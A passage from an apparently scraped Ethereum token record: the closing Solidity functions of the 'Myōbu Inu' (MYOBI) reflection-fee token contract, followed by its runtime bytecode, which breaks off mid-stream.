(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f4d79c58d627520496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613ce660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122589092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612318565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612413565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d594f4249000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612497565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea0000061278190919063ffffffff16565b61280790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d5c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ca36022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d376025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c566023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d0e6029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561219557601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156120db57601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006120e630610ae2565b9050601360159054906101000a900460ff161580156121535750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561216b5750601360169054906101000a900460ff165b156121935761217981612497565b600047905060008111156121915761219047612318565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061223c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561224657600090505b61225284848484612851565b50505050565b6000838311158290612305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122ca5780820151818401526020810190506122af565b50505050905090810190601f1680156122f75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236860028461280790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612393573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123e460028461280790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561240f573d6000803e3d6000fd5b5050565b6000600a54821115612470576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c79602a913960400191505060405180910390fd5b600061247a612aa8565b905061248f818461280790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124cc57600080fd5b506040519080825280602002602001820160405280156124fb5781602001602082028036833780820191505090505b509050308160008151811061250c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ae57600080fd5b505afa1580156125c2573d6000803e3d6000fd5b505050506040513d60208110156125d857600080fd5b8101908080519060200190929190505050816001815181106125f657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061265d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612721578082015181840152602081019050612706565b505050509050019650505050505050600060405180830381600087803b15801561274a57600080fd5b505af115801561275e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127945760009050612801565b60008284029050828482816127a557fe5b04146127fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cc56021913960400191505060405180910390fd5b809150505b92915050565b600061284983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad3565b905092915050565b8061285f5761285e612b99565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129025750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561291757612912848484612bdc565b612a94565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129ba5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129cf576129ca848484612e3c565b612a93565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a715750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a8657612a8184848461309c565b612a92565b612a91848484613391565b5b5b5b80612aa257612aa161355c565b5b50505050565b6000806000612ab5613570565b91509150612acc818361280790919063ffffffff16565b9250505090565b60008083118290612b7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b44578082015181840152602081019050612b29565b50505050905090810190601f168015612b715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612b8b57fe5b049050809150509392505050565b6000600c54148015612bad57506000600d54145b15612bb757612bda565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612bee8761381d565b955095509550955095509550612c4c87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ce186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d7685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc281613957565b612dcc8483613afc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e4e8761381d565b955095509550955095509550612eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f4183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fd685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302281613957565b61302c8483613afc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130ae8761381d565b95509550955095509550955061310c87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131a186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132cb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331781613957565b6133218483613afc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133a38761381d565b95509550955095509550955061340186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461388590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061349685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e281613957565b6134ec8483613afc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137d2578260026000600984815481106135aa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613691575081600360006009848154811061362957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136af57600a54683635c9adc5dea0000094509450505050613819565b61373860026000600984815481106136c357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461388590919063ffffffff16565b92506137c3600360006009848154811061374e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361388590919063ffffffff16565b9150808060010191505061358b565b506137f1683635c9adc5dea00000600a5461280790919063ffffffff16565b82101561381057600a54683635c9adc5dea00000935093505050613819565b81819350935050505b9091565b600080600080600080600080600061383a8a600c54600d54613b36565b925092509250600061384a612aa8565b9050600080600061385d8e878787613bcc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612258565b905092915050565b60008082840190508381101561394d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613961612aa8565b90506000613978828461278190919063ffffffff16565b90506139cc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138cf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffff